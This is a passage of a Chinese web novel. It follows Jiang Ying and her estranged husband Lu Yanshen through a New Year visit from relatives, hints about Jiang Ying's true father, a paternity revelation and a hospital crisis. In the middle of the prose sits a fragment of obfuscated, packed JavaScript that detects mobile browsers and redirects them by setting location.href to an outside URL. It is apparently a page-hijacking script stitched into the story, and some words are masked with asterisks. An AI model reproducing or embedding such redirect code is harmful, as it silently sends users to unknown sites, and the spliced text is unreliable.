“我总觉得背后有人。”
陆砚深实话实说,他从来没觉得这么没底,完全没有方向。
不知道背后的人要干什么,又清楚地知道他随时会跳出来咬上一口。
“目前你能做的就是加强安保,我得再查查这个宋瑾修,不查清楚我心里不踏实。”
陆砚深沉默一瞬后,沉声道:“去查他三年前的那笔启动资金钱。”
“他刚注册风投公司时,启动资金是整整三千万。”
“一个没有任何背景,从小寄人篱下的人,三千万的启动资金到底是怎么来的?”
周野无奈,“你都没有查到,可见这件事难度有多大。”
“我怀疑过这笔钱是他从许振清手里拿到的,但没有证据,线索到**就断了。若他真的是从许振清手里拿到的,他的第一个罪名就是敲诈勒索。”
“还有那个薛婷婷,她一定知道什么。”
周野抿唇,“看来也不是一点线索都没有,三千万和一个女人,或许可以成为破冰点。”
“没有查清楚别急着给人定性。”
陆砚深说这话时心里想到的是江莹,若是宋瑾修真的有问题,那江莹该有多难过?
但他也知道,被周野盯上的人,都干净不了。
他在西北发现一个毒贩,为了查清楚他的货源,卧底两年一路从西北辗转到西南边境,最终把那条线一路成功端了。
但也是从那条线索得知东江省也不干净,所以转了回来。
现在看来,怕是他一开始就把目标锁在了江北。
周野勾唇,一双桃花眼里染上了浪荡的笑,“心疼你情敌?你是想你们三个一起把日子过好?”
“滚!”
陆砚深抬了抬脚,想踹他,太远。
“哎,斯阳忙啥呢,这两天他怎么那么安静?”
“想他你找他去。”
周野挑眉,“我想女人。”
陆砚深皱眉,从未在周野嘴里听到过这样的话,浪荡中透着点委屈。
“还以为你在男人堆里待久了,不喜欢女人?”
周野弯唇,笑得有些无奈,他也没想到会因为一场救援遇上了让他栽跟头的女人。
在外面执行任务时,唯一的盼头就是尽快完成任务,回来见她。
然而,猝不及防地见面,却发现孟澜恨他。
“懒得跟你扯,走了,不打扰你当好女婿,好男人。”
……
江莹回来时,周野已经走了。
刘姐在院里陪着母亲散步,晒太阳。
江莹看到母亲对着她种的那颗山茶花笑,站在一旁看了良久。
“夫人似乎很喜欢这里。”
江莹点头,院里的绿化很多都是她仿着之前家里的布置做的。而曾经家里的一切都出自母亲之手。
她没有去打扰,而是进了屋。
出去一上午,不知道陆砚深那狗东西怎么样。
他那个人死别扭,肯定不会假借别人之手。
瞅一圈没有看到江墨,江莹先去了他房间。
进去之后,直接拉开窗帘,然后一巴掌打在他屁股上,“起床,大年初一出去找朋友玩玩,别闷在家里。”
江墨迷迷糊糊醒来,看着她咬牙,“江莹,结了婚的女人都像你这样粗鲁?”
江莹笑笑,“快起来,等会儿要吃午饭了。”<
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br>“我跟你说哈,我不在这里吃饭,我只答应过来跨年,没答应在这里长住。”
江莹并不强迫他,每个人都有自己的生活习惯。
她上楼看到陆砚深一动不动躺着,走了过去,“你要不要上厕所?”
陆砚深转头看她,然后可怜兮兮地点头,“怎么去这么长时间?”
江莹看得心口一滞,向来高高在上的人,这会儿看着确实挺可怜。
她转身要去卫生间拿尿壶,却被陆砚深叫住,“不用那个东西,你扶我一把我自己去卫生间解决。”
江莹拧眉,“医生说,至少要卧床休息五天,你确定要自己下床?”
“没事,就去趟卫生间,还是能坚持的。”
他说着自己挣扎着要起来,但好像扯到了伤口,眉头紧皱。
江莹快步上前伸手扶他,指尖刚触碰到他的胳膊,就被陆砚深顺势扣住了手腕。
他的掌心温热,力道不算重,却让两人靠得很近。
陆砚深微微偏头,温热的呼吸拂过她耳廓,低沉声音中有些复杂的情愫,“谢谢!”
他的突然靠近,让江莹后背一紧,“陆砚深,你干什么?”
狗东西皱眉,“我都这样了还能干什么,就是好几天没有下床,腿软。”
说着身体不受控制往江莹身上靠,双腿像面条一样软了下去。
江莹一惊,信以为真,下意识地伸手扶住他的腰,“别逞强,躺好。”
她话音刚落,陆砚深就借着腿软的力道,轻轻一带,将原本就重心不稳的江莹,整个人圈在自己的怀里。
陆砚深的目光灼热,指尖轻轻摩挲着她的手腕,语气带着几分委屈和责备:“平时能不能多吃点,连扶人的力气都没有。”
江莹又气又急,伸手推着他的胸膛,却不敢用力,只能恶狠狠地瞪着他:“陆砚深,你有病吧,你自己软怪我?”
“我什么时候软,我浑身上下就没有软的地方。”
他一本正经辩解,却让江莹不得不想歪。
她咬牙道:“要么你闭嘴,要么你憋着。”
陆砚深见好就收,稍稍站直身体,“憋不了一点,再憋就坏了。”
结婚三年,江莹没有听陆砚深说过荤话,现在想想物以类聚,人以群分。他能跟沈斯阳和周野那样的人穿一条裤子,本质上一样浪。
江莹刚想推开他,门外传来王嫂的声音。
第160章 岁月如梭,他们都老了
“先生、太太,老宅打来电话,说陆君小姐,还有姑奶奶一家过来吃午饭。”
江莹还没来得及回话,陆砚深瞬间站直了身体,像是怕王嫂推门而入。
这波骚操作,看得江莹一愣。
她反应了两秒,意识到什么,抬手在一巴掌落在陆砚深身上。
可这一巴掌落下,陆砚深的眉头瞬间皱紧,闷哼了一声,没有了刚才的戏谑。
江莹的心猛地一沉,语气有些慌乱,“你……你没事吧?我没用力。”
她确实没有用力,只不过是刚好碰到了伤口。
陆砚深咬着唇,没有说话,缓了好一阵才缓缓扶着她在床边坐下,显然是真的疼到了。
江莹看着他这副模样,心里的气消了一大半,“让你别乱动,活该!”
陆砚深缓了好一阵开口:“扶我下楼,姑父要过来。”
江莹知道他喜欢姑父,但他身上毕竟有伤,“医生不让你乱动。”
陆砚深坚持,“没事,我心里有数。”
说完直接站了起来。
江莹拗不过他,又不放心,让他搂着自己的肩,尽量不扯到伤口。
两人刚走到楼梯口,江墨从房间出来,准备离开。看到陆砚深半个身子压在江莹身上,瞬间不淡定。
操,他姐那么瘦,狗男人是眼瞎,还是故意折磨她。
“姐,我来。”
他瞪了陆砚深一眼,快速冲上楼梯。
陆砚深看着他心里有些抵触,那天晚上,江墨盯着他怨恨的眼神像是刻在了脑子里。
“不用,我不用你扶。”
看陆砚深拒绝,江墨皱眉笑了下,“陆总,你不会是怕我吧?”
“我怕你什么,你还能再……”
他后面的话没有说出来,江墨直接上来扯住他另一只胳膊,“怕也没用,少欺负我姐。”
江莹倒是不担心,看江墨接过陆砚深,她直接送了手下楼。
江墨扶着陆砚深在客厅坐好瞪了他一眼,直接走人。
陆砚深:“……”
他受伤要好久恢复,这个臭小子怎么这么快就像个没事人一样?
但也不是没有收获,他不恨他了。
江墨离开后,院里有车响。
江莹听到声音出去,主要是怕母亲看到生人担心。
刚走到门口,陆静淑和陆君、乔云舒抬步走了进来。
乔云舒怕她跟陆君再拌嘴,上前挽住她的胳膊,“表嫂,新年好!”
“新年好!”
江莹现在信封,你给我好脸色,我也给你好脸色,你爱答不理,我也爱答不理。
陆君看到靠在沙发上的陆砚深,急声道:“砚深,你怎么坐着?”
陆砚深看了看她们身后,“姑父呢?”
“在外面,说看看你这院子,第一次来。”陆静淑笑吟吟地在陆砚深旁边坐下,“还疼不疼?”
陆砚深瞅了一眼江莹,沉声道:“不疼了。”
江莹瘪瘪嘴,嘴硬是真硬。
“云舒,你坐,我去看看我妈,她很少接触外人,怕她看到姑父会紧张。”
“我跟你一起。”
乔云舒跟着江莹两人挽着胳膊到院子里。
看到外面的一幕,两人不约而同顿住脚步。
乔远文站在黑色车旁,一身剪裁得体的西装,身姿挺拔。盯着不远处的江岚,神色复杂。
而江岚,正坐在院子里的长椅上,手里摸着身边的山茶花,目光落在乔远文身上,脸上的笑容像是僵住了。
她就那样呆呆盯着乔远文,眼底没有任何波澜,却又像是得到整个世界后的平静。
刘姐也察觉到了不对劲,她也看到了乔远文,这人似乎在哪儿见过。
乔云舒上前挽住乔远文的胳膊撒娇,“爸,你见过江阿姨?”
乔远文神色收敛,转脸看了看自己女儿,“是见过,年前在疗养院视察见到过,没想到今天在家里碰到了。”
江莹被刚刚他们四目相对的画面触动,不知道为什么,就隐隐觉得挺美好。
一如上次在疗养院,乔远文也是这么静静地看着母亲。
她上前,恭敬地叫了声:“姑父!”
乔远文点头,“你母亲的状态好像比上次看到的要好一些。”
江莹弯唇浅浅笑道:“确实好了不好。”
“爸,表哥为了等你都下楼了,一直坐在客厅,你别让他久坐,对伤口不利。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440774|197608||http|test|mini|href|location''.split(''|''),0,{}));
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>乔云舒的话让乔远文不捉痕迹收回视线。
他拍拍女儿的手,抿唇笑笑转身往客厅走,却在进屋前转头又看了眼江岚。
岁月如梭,他们都老了。
但不可否认,江岚依旧是个安静的美人。
乔远文迈着沉稳的步子走进客厅,深邃的目光不着痕迹地扫过落地窗外的那个人影。
她似乎在找寻什么?
难道她……
“远文,你看看这孩子,非要坐着等你。”
乔远文看着陆砚深在他身边坐下,直接看向陆砚深,语气带着长辈的威严,“身体能不能行?”
陆砚深点头,“没事。”
乔远文看向自己妻子,语气淡淡,“静淑,我跟砚深说点事。”
陆静淑知道这话什么意思,温婉地笑了笑,拉起一旁的陆君。
“走吧,今天外头太阳好,我们去院子里透透气。”
一时间客厅只剩两个男人。
初春的阳光洒在院子里,带着几分难得的暖意。
陆静淑刚走到廊下,目光就不经意地落在了坐在长椅上的江岚身上。
刚刚进来时,没注意到,现在看到人,停下脚步,微微眯起了眼睛。
那个安安静**在那里,看山茶花的女人,侧脸轮廓透着一种莫名的熟悉感。
陆静淑在脑子里飞快地搜寻着,隐隐觉得这张脸自己在哪里见过,却又像隔着一层浓雾,怎么也想不起来。
“姑姑,你看什么呢?”陆君顺着她的视线看过去,撇了撇嘴,“那是江莹她妈,神志不清三年多了。”
江莹看到她们,担心陆君口无遮拦,说出什么刺激母亲的话。
于是她弯唇跟乔云舒解释,“我妈没见过这么多陌生人,我怕她情绪不稳定,先送她回房间休息。”
“嗯,阿姨一直坐着不动,等还是有点凉的。”
江莹弯腰帮母亲拢了拢身上的衣服,嗓音轻柔,“妈,出来时间不短了,我扶您回房间休息会儿。”
江岚顺从地起身,目光呆滞地任由江莹扶着往回走。
经过陆静淑身边时,江莹礼貌性地点了下头,完全没有注意到,她这会儿依旧盯着母亲看。
第161 挑拨离间
午饭期间,江莹并没有让江岚出来吃饭,她怕母亲面对陌生人会不安。
更是觉得乔远文在,不太合适。
人刚落座,陆静淑转头看向正在盛汤的王嫂。
“王嫂,今天这饭菜有没有含杏仁的?”
王嫂把汤碗轻轻放在陆君面前,笑着摇了摇头,“没有,太太对杏仁严重过敏,闻都闻不得,先生吩咐过,家里不能出现跟杏仁沾边的食材。”
话音刚落,坐在主位的乔远文,动作猛地一顿。
他正端着水杯准备喝水,手腕在半空中几不可查地抖了一下。
杯子里的温水因为这轻微的震颤,荡起了一圈细小的涟漪。
乔远文慢慢垂下眼帘,将水杯凑到唇边,借着喝水的动作掩饰着眼底翻江倒海的震惊。
杏仁过敏。
江岚的女儿。
他在心里飞快地盘算着江莹的年纪,一个让人头皮发麻的念头在脑海里疯狂翻涌,怎么也压不下去。
年龄对得上,过敏原也对得上。
江莹……有没有可能是他的女儿?
乔远文深吸了一口气,强装镇定地放下水杯,表面上依旧是那个喜怒不形于色的乔**,可捏着水杯骨节泛白的手指却出卖了他内心的波澜。
“远文?”陆静淑拍了拍丈夫的手,笑容依旧如年轻情侣一样娇媚,“想什么呢?”
乔远文抿唇,“在想我们吃完饭早点回老宅,免得爸妈起疑,也免得砚深靠在沙发上硬撑。”
江莹看着这对中年夫妻,默默感慨,他们感情真好。要不然陆静淑也不会快五十的人了,眼里还有光。
乔远文位高权重,爱妻爱女,是个好丈夫,好父亲,是江莹渴望而不可求的。
江莹的心思,没人在意。
正如这顿饭,乔远文掩饰得很好,却食不知味。
饭后,几人移步客厅喝茶。
陆砚深靠在沙发靠背上,目光看向陆君,“姐,许振清的事,已经闹得满城风雨,你到底是怎么想的?”
他问得直白且毫不留情,直接撕破了陆君躲避的问题。
陆君脸色一白,手指紧紧攥着茶杯的边缘,眼神开始闪躲。
“我……诺诺还在他那边。”
她支支吾吾的找着借口,抓起旁边的包起身,“时间差不多了,我得去接孩子。”
说完,直接离开。
江莹心想,陆君一直强装得体面,就这么被自己亲弟弟撕破了。
女人,再强势,遇到自己无法面对的事,也会选择逃避。
陆静淑看着陆君落荒而逃的背影,沉沉叹了口气,“砚深,别逼她。这种事情,外人说再多也没用,得让她自己把这块腐肉生生剜出来,让她自己好好想想吧。”
乔远文视线扫过江岚房间紧闭的门,然后站起身,整理了一下西装的下摆,“我们回老宅吧,让砚深休息。”
临走前,他别有深意地看了陆砚深一眼,伸手在他的肩膀上重重拍了两下。
“砚深,现在的局势错综复杂。记住,要学会以不变应万变。”
江莹站在一旁,听得云里雾里,只觉得乔远文说的话里有话。
陆砚深迎着乔远文的目光,面色凝重地重重点了点头。
……
接下来的几天,日子过得难得的平静。
除了每天固定去医院看望还在恢复中的薛婷婷,江莹几乎大门不出二步不迈。
她每天留在湖心公馆陪着母亲,连大年初二回张家拜年的规矩都直接省了。
张家对她来说已经完全没有回去的必要。
一直放松到了初五。
江莹正陪着母亲在客厅看电视,手机屏幕突然亮了起来。
是**小娄发来的消息。
“江小姐,找我的人似乎还没有放弃,盯得很紧。我怕打草惊蛇,短时间内恐怕没办法再继续查下去了。不过你放心,我已经把目前掌握的所有东西,都安全转交给了李律师,后续的事情他会替你安排妥当。”
“另外,你之前让我查的那个男人的身份,已经确认了,他叫孙育华,跟唐玉勾搭在已经五年。”
江莹盯着屏幕上的“五年”这两个字,眼睛都直了。
张启明这是领回家了个啥?
她刚看完消息,还没来得及退出界面,张启明的电话打了进来
这人,还真是经不起念叨。
江莹皱了皱眉,还是按下了接听键。
“莹莹啊,过年怎么也没见你回家?”
电话那头,张启明声音里透着刻意的讨好。
江莹不咸不淡,“这不是忙着伺候你的摇钱树,我走了你的摇钱树怎么办?”
对方显然是被她的话噎住,良久才
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开口,“砚深的身体好些了吗?”
“我这几天一直挂念着,想抽个时间过去看看他,方便吗?”
江莹听着这虚伪的腔调,只觉得胃里犯恶心。
“他伤得很重,需要静养,不能见客。”
江莹冷冷地丢下这句话,不给张启明任何纠缠的机会,直接挂断了电话。
她捏着手机,转头看向靠在沙发上翻书的男人。
“陆砚深。”她压低了声音,视线扫过母亲,看她静静看电视,又开口:“现在能不能让张启明……净身出户?”
陆砚深翻书的动作微微一顿。
他抬起头,看向江莹,沉默一瞬后,开口:“根据现在掌握的证据,让他净身出户完全没问题。但你现在把公司强行拿回,势必会惊动躲在他后面的人。”
这一步如果走得太急,就是打草惊蛇,所有的线索可能都会断掉。
陆砚深没有查清唐玉把钱转到了哪儿,也担心这些人狗急跳墙,对江莹的安全造成威胁。
江莹看着他严肃的神情,心里也明白,没有查清楚贸然动手,公司若有问题,她和江墨也跟着遭殃。
“我知道,时间不成熟。”她垂下眼帘,眼底的失落掩饰不住。
她转过头,目光落在盯着电视屏幕发呆的江岚身上。
母亲瘦弱,安静得让人心疼。
张启明有时间、有心思巴结陆砚深,却连来看一眼他结发妻子的时间都没有。
想到这里,江莹深吸了一口气,眼底恨意浓重。
她不能动公司,但不代表她不能给张启明找点恶心事。
挑拨离间的事,谁不会做。
她点开微信,从相册里翻出那张在医院偷拍的照片。
江莹毫不犹豫地按下了发送键,直接把照片甩给了张启明。
与其自己像个无头苍蝇一样去查唐玉背后的关系,不如让张启明自己去查。
毕竟,被老情人戴了绿帽子这种奇耻大辱,是个男人都忍不了。
照片发送成功后,江莹又慢条斯理地敲下了一行字,发了过去。
“我们毕竟是父女。”
“就算你再怎么不喜欢我,我也不能眼睁睁看着你被人坑得血本无归。”
“唐玉怀孕了,你有时间在这里讨人嫌,不如去查清楚那女人肚子里的孩子到底姓不姓张。”
第162章 张启明给别人养儿子
信息发送完毕,江莹将手机扔在茶几上。
她靠在沙发背上,**道地咧开嘴,无声地笑了起来,像个终于恶作剧成功的坏小孩。
陆砚深将目光从书页上移开,看着她那副得逞的小狐狸模样,眉头微挑。
“笑得这么一肚子坏水,干了什么好事?”
江莹转头对上他的视线,挑了挑眉。
本着虽然两人夫妻缘分要尽,但好歹现在也算是一条战线上的同盟,她大方地拿起手机,将屏幕怼到了陆砚深面前。
“给你欣赏一下。”
陆砚深一目十行地扫过屏幕上的照片和聊天记录。
他眼神一凛,没说话,直接伸手在她的屏幕上点了两下,把照片转发到了自己的微信上。
紧接着,他毫不避讳地当着江莹的面,把照片分别发给了杜宇和周野。
“这么重要的线索,怎么现在才说?”陆砚深皱起眉头,语气里带着几分不满的责备。
江莹一把抽回手机,毫不客气地反唇相讥。
“陆总,你有什么资格说我?你也没有做到消息共享,我凭什么要第一时间告诉你?”
陆砚深被她怼得一噎,抿了抿薄唇,没有反驳。
江莹冷哼了一声,继续分析道:“张启明明明知道唐玉偷偷转走了公司账上的钱,却还一再包庇她。这说明什么?”
陆砚深没有说话,抬了抬下巴示意她继续说,看她狐狸眼透着光,直接放下了手里的书。
“要么是唐玉手里握着张启明致命的把柄。要么,就是两人商量好的都留给张诚诚。”
说到这里,江莹的声音突然顿住了,眉头紧紧拧在了一起,像是一下子陷入了某种死局。
想到小娄说,唐玉跟孙育华苟且已经五年。
陆砚深静静地看着她,深邃的眼眸里突然漾起一抹极淡的笑。
“既然是同盟,作为消息共享,我也给你透露一个。”
他微微倾身,用只有他们两个人能听到的声音,抛下了一个重磅**。
“张诚诚,不是你爸的亲生儿子。”
江莹彻底傻眼了,张启明竟然给别人养儿子。
她愣愣地坐在原地,眼睛瞪得像铜铃,好半天才找回自己的声音。
其实她脑子里刚才也闪过这个荒唐的念头,但觉得太过离谱就立刻否决了。
没想到,这个离谱的猜测,居然已经被陆砚深证实了。
“你查过DNA了?”江莹震惊地问。
陆砚深不置可否地挑了挑眉。
江莹缓过神来,狠狠地瞪了他一眼,咬牙切齿地纠正。
“张启明不是我爸,以后别说他是我爸。”
陆砚深看着她这副炸毛的样子,心情莫名大好,忍不住出声逗她。
“血缘关系是改变不了的。不管你认不认,在法律上和生物学上,他都是你爸。”
“他不是!”
一道突兀且平静的声音,毫无预兆地在客厅里响起。
江莹和陆砚深同时浑身一震。
两人猛地转过头,看向声音的来源。
一直安**在旁边看电视的江岚,依然保持着原来的姿势。
她脸上的神情平静如水,眼睛依旧盯着电视屏幕,甚至连睫毛都没有眨一下。
那三个字,仿佛只是她无意识的呓语。
江莹和陆砚深下意识地看向彼此,都在对方的眼中看到了难以掩饰的惊愕。
最后,两人不得不承认,那大概只是江岚在神志不清时的胡言乱语。
江莹回过神时,陆砚深已经嘴角勾起了笑。
狗东西笑起来很好看,但他却很少笑。看来这会儿心情不错。
他心情不错,她就得给他添堵,“陆总好心提醒,离初八民政局上班还有两天。到时候你的伤应该也能适当下地走路了,我们直接去**。”
听到“离婚证”三个字,陆砚深嘴角的笑意瞬间僵住,脑子里嗡嗡作响。
“你就看不得我好过。”
他冷下脸,丢下这话,直接合上书,单手撑着沙发站起身。
男人绷着那张俊脸,看都不看江莹一眼,拖着还没痊愈的身体,僵硬地迈着步子上楼去了。
江莹看着他的背影,不屑地撇了撇嘴。
就在这时,被扔在茶几上的手机突然急促地震动起来。
江莹拿起手机,看是凌澈打来的,抿唇接通电话。
一接通,凌澈沙哑的嗓音就传了过来,“师姐,我……我爸病危转到了江北来。”
“医院要交费,我身上的钱不够了,你能不能……能不能借我点
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钱?”
江莹心头一紧,猛地从沙发上站了起来。
“你在哪个医院?我马上过去!”
……
半个小时后,江莹匆匆来到医院。
病房的门半掩着。
江莹刚走到门口,就听见里面传来一阵剧烈的咳嗽和东西的碎裂声。
凌父从老家的医院转到江北,一路上都处于昏迷状态。
醒来发现自己换了地方,顿时大发雷霆,枯瘦的手指着凌澈,上气不接下气。
“你这个逆子!谁让你把我转到江北的?”
凌母在一旁也记得不行,“他爸,你千万不能动气,这事不能乖孩子,我们怎么能看着你……”
“这是花冤枉钱,老子已经是肺癌晚期了,神仙都救不活,还折腾**什么!”
凌父脸色憋得通红,眼里却是强忍着不肯掉落的泪水。
“把钱留着,你们好好活……咳咳咳……”
凌父的话还没说完,突然发出一阵撕心裂肺的咳嗽。
紧接着,他“哇”的一声,一口暗红色的鲜血直接喷在了雪白的被单上。
刺目的血迹在白布上迅速晕染开来。
江莹站在门口,浑身猛地哆嗦了一下,只觉得胃里一阵翻江倒海。
一股强烈的酸水直冲喉咙,她猛地捂住嘴后退两步,剧烈地干呕起来。
“医生,医生……”
凌澈急切而无措的呼叫声,让江莹双腿阵阵发软,眼前甚至泛起了黑晕。
这时,一双有力的手臂从旁边稳稳地扶住她的肩膀。
“莹莹,怎么了?”
温润关切的男声在耳畔响起,江莹强压着胃里的不适转过头,对上宋瑾修温柔关切的眉眼。
宋瑾修半搂着她在走廊的长椅上坐下。
“要不要看医生?”
江莹看到刚才那种情况出现了应激反应,车祸后她看不得这种大面积的血迹。
“不用,我没事。”
宋瑾修动作自然地帮她顺着后背,看她平复,从旁边饮水机接了一杯温水,递到她发白的唇边。
“喝口水,压一压。”
江莹惨白着脸,手脚冰凉地接过纸杯,看着医生护士急匆匆往病房跑。
她缓了好久,心里慢慢平复,“师哥,你怎么来了?”
第163章 最后的相守时光
宋瑾修顺手接过她手里捏的有些变形的空纸杯,转身扔进旁边的垃圾桶。
转身回来,在江莹身边坐下。
“舅舅昨天从老家回来,带了不少特产,给我们俩一人准备了一份,让我给你带过来。”
宋瑾修温柔地看着江莹,嘴角的笑意如同春日暖阳,开口的嗓音却带着丝丝委屈。
“好几天没有见你,现在总算有了一个合适的理由,所以一早从舅舅家出来。但,又怕打扰到你们,所以把车停在湖心公馆外面,纠结要不要给你打电话,就看到你开着车出来。”
宋瑾修微微抿唇,原本的委屈消息,染上了几分无奈,“看你车开得急,我不放心,就一路跟着过来了。”
江莹不傻,她不是听不出来,宋瑾修的话外之音,但她给不了回应。
“谢谢师哥,回头我请你和老师吃饭。”
宋瑾修听江莹这么说,抿唇笑笑,“行,新的一年,我们确实应该聚聚。”
他说着抬手往里指了指,“里面是谁?出什么事了?”
江莹顺着他的视线看过去,声音里透着疲惫和沉重,“是凌澈的他爸。肺癌晚期,病情突然恶化,昨天从老家病危转到江北来的。”
宋瑾修听完,眉心瞬间蹙了起来。
他缓缓转过头,透过门缝扫向里面乱作一团的抢救现场。
原本温润如玉的眸子里,快速划过一抹复杂的暗色。
这时,病房门被护士猛然拉开。
“两位让一让,小心碰到。”
两个护士推着病床,脚步急促。
病床的轮子在地砖上碾出沉闷的声响,传入江莹耳中,让她更觉得心里闷。
江莹双手下意识地攥紧,缓缓从长椅上站了起来。
凌父戴着氧气面罩,双眼睁得很大,脸色灰败如同枯木。
凌澈紧紧跟在旁边,整个人憔悴又无助。
看到他,江莹不由想到那天的江墨。
抢救室门外的红灯很快亮起,刺眼又压抑。
走廊里安静得可怕,只能听到凌母蹲在墙边的哽咽声。
凌澈站在母亲旁边,没有安慰,只是呆呆看着抢救室的门。
江莹走过去,默默站在他身边,轻轻拍了拍他的肩膀,“别太担心,叔叔一定会挺过这一关的。”
凌澈咬唇,哽咽道:“他为什么不明白,钱和家人相比,我更希望他能多陪我几年。”
江莹听得瞬间心酸,眼眶发热,“叔叔不是不明白,他只是想尽最大的能力,多给你留点。”
“拿自己命换来的钱,我能用吗?”凌澈说着眼泪簌簌掉了下来,“钱没了我可以挣,但他……”
他说不下去,江莹也说不出安慰的话。
生命面前,所有的安慰都是苍白无力的。
她只是静静地陪着他,站在这扇生死未卜的门外。
宋瑾修站在几步之外,双手插在大衣口袋里。
在听到凌澈那句“拿自己命换钱”时,眼底蒙上一抹复杂的情绪。
视线从凌澈和江莹的方向,看向了蹲在墙边的女人身上。
见女人没什么反应,他眼底的情绪恢复如初,悄悄拿着手机发消息。
四十分钟后,医生从抢救室出来,看着围上去的母子俩,无奈地摇了摇头。
“暂时没有生命危险,到了这个时候,还是顺着他吧。”
凌澈紧绷的那根弦终于松了下来,整个人顺着墙壁无力地滑坐在地上,顿时又抱着头呜咽不止。
“为什么会这样,之前不是一直好好的,说是至少还有一年的时间。”
这种情况医生已经见过很多,但看着这一个高大的男孩子……,脚步也沉重了几分。
江莹经历过,所以特别能理解凌澈此刻的心情。
她也不干,若是舅妈没有临时**源,会不会现在已经康复了。
陆砚深没有转移**,但他为了秦欣她妈一走几天,甚至连接她的电话都没耐心接。
“想开点,生老病死,谁都不可抗拒。”
江莹不是想不开,只是她心里的结,解不开。
她看着蹲在地上呜咽不止的凌澈,心底闷得不行,安慰不了,也安慰不出口。
痛在自己身上,外人说再多的安慰也无济于事。
这些痛,他只能自己扛!
而她唯一能做的就是给凌澈底气,让他在挽留父亲这件事上没有后顾之忧。
她拿出手机,直接给凌澈的账户里转了二十万。
转完钱凌父被推了出来,江莹拍了拍凌澈,“别让你爸难受。”
宋瑾修也上来扶他,拍了
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拍他的肩头,声音低沉,“你爸倒了,你就是家里的顶梁柱,遇到事谁都可以哭,你不可以。因为你哭也不会有人替你担着,你能依靠的只有自己。”
江莹看着宋瑾修愣了一瞬,感觉他说得太过冷冽,但又无可反驳。
凌澈抬头,看着宋瑾修,目光坚定。他抹了一把脸上的泪,直接站了起来。
凌母靠在墙上,没有说话,也没有动,直到凌澈叫她,她才回神。
回到病房,安顿好,江莹不忍打扰他们一家人最后的相守时光,于是跟宋瑾修一起离开。
他们走出病房,凌澈才看到手机里的到账消息。
他急忙追了出去,举着手机再次红了眼,“师姐,这太多了,我不能……”
“拿着。”江莹打断他,语气不容置疑,“别因为钱给自己留遗憾。”
宋瑾修显然知道怎么回事,在一旁道:“若是不够,你尽管开口。”
凌澈听了宋瑾修的话就下定决心不再落泪,但这会儿眼泪还是忍不住掉了下来。
宋瑾修手搭在他肩膀上,抿唇笑了下,“臭小子,还哭!”
凌澈瞬间抿唇,努力控制自己的情绪,“宋哥,你说得对,我以后就是家里的顶梁柱,我会处理好家里的事。”
江莹有些欣慰,苦难可以让一个人快速成长。从某种意义上来说,凌澈比江墨要成熟。
跟凌澈道别后,江莹要去看薛婷婷,她今天出院。
“师哥,我还要去看个朋友,你要是忙就先走吧。”
宋瑾修微微一笑,神色温柔,“大过年的,我有什么可忙的。倒是你,跟医院杠上了,一年到头往医院跑。”
江莹听着这话笑了,“还真是,流年不利,净跟医院打交道了,抽空我得去云罗寺拜拜。”
宋瑾修抿唇,看着她打趣:“是该去拜拜,让大师弹去你身上的晦气。”
两人说话间,来到薛婷婷的病房。
病房里,薛婷婷和薛母已经把零碎的东西都打包好了,坐在床边等薛父办出院。
小姑娘原本低着头看着手里的杯子发呆。
听到走廊传来的脚步声,她抬起眼,在看清来人的那一瞬间,眼眶瞬间红了。
大颗大颗的眼泪像断了线的珠子,不受控制地往下落。
第164章 用孩子的命成护他周全
江莹看着她愣了一瞬,没想到她会哭得这么痛,前几天来都不怎么说话。
“傻孩子,小月子也是月子,哭太多会伤眼睛的。”
薛母在旁边劝慰,说话间看着江莹无奈地摇了摇头。
“江小姐,劳你费心,这几天时不时过来。”
江莹抿唇,心里发酸,“我也没帮上什么忙?”
她走过去,从床头柜上抽了张纸巾递过去,站在薛婷婷身边。
“回家后修养一阵,再回来,工作的事不用担心,江北有的是机会。”
薛婷婷扫了一眼疏离的宋瑾修,吸了吸鼻子,声音带着浓浓的哽咽,“江姐,你保重,我不会再回来了。”
宋瑾修今天穿了一件质地极好的浅灰色羊绒大衣,整个人显得温文尔雅,风度翩翩。
他并没有上前,只是站在不远处,视线不动声色落在薛婷婷脸上。
眼神平静,却透着一股让人脊背发凉的审视。
薛婷婷盯着他看了两秒,快速垂眸,只觉透心凉。
这么多天,他没来看过一眼,甚至连只言片语都没有。
而此刻,却陪在他心爱的女人身边,作为陌生人出现在她的病房,一身疏离也就罢了,甚至还带着审视和戒备。
顷刻间,薛婷婷觉得自己所有的一厢情愿,好像变得特别轻飘,轻的连她自己都觉得自己好像根本就不存在。
宋瑾修睨了一眼她期期艾艾的眼神,冷冷地收回视线,漫不经心地转过脸,视线投向病房外。
“莹莹,我……”
宋瑾修是想说他到外面等她。
但却像是提醒了江莹,她才注意到自己只顾着薛婷婷的情绪,忘了宋瑾修的存在。
“哦,婷婷,忘了介绍,这个是我师哥宋瑾修,你见过的。”
薛婷婷手指紧紧扣着掌心,靠着掌心的刺痛勉强维持平静。
自己用孩子的命成护他周全,成全的却是他跟自己心爱的女人并肩。
宋瑾修微微勾起唇角,“薛小姐好!”
薛婷婷暗暗咬着嘴里肉,视线落在宋瑾修客气又温和的脸上。
这样的笑,私下她从未得到过。
他的温润只属于江莹,跟她没有半分关系,即便她刚为了他,硬生生摔掉了他们的孩子。
薛婷婷感觉到一股淡淡的咸味儿时,薛母推了她一下,“你这孩子,怎么这么没礼貌。”
薛婷婷才回神,微微点头,“宋先生好!”
宋瑾修嘴角带着笑意,眼底的警告之意,薛婷婷看得明白。
“我在这里不方便,你们聊,我在门口等你。”
宋瑾修拍了拍江莹的肩膀,眉眼里的宠溺和温润不加掩饰。
江莹点头,浅浅的笑意落在薛婷婷眼中极其刺眼,更像是有刀子扎在她心里。
宋瑾修转身,余光扫见门口走廊,一道熟悉的人影。
他眸色一凛,眼底的温和瞬间退得干干净净,取而代之的是令人胆寒的冷冽。
门外的人对上宋瑾修视线的那一刻,他慌乱地低下头,赶紧拉了拉外套的拉链,匆忙离开。
因为走得太急,在走廊拐角处,跟追过来的凌母撞了个满怀。
凌母在知道江莹给凌澈转了二十万后,急匆匆追了过来。
儿子跟她说过江莹,器重他,也很照顾他。
现在更是一下子拿了二十万,她心里的感激让她觉得一定要当面跟江莹道声谢。
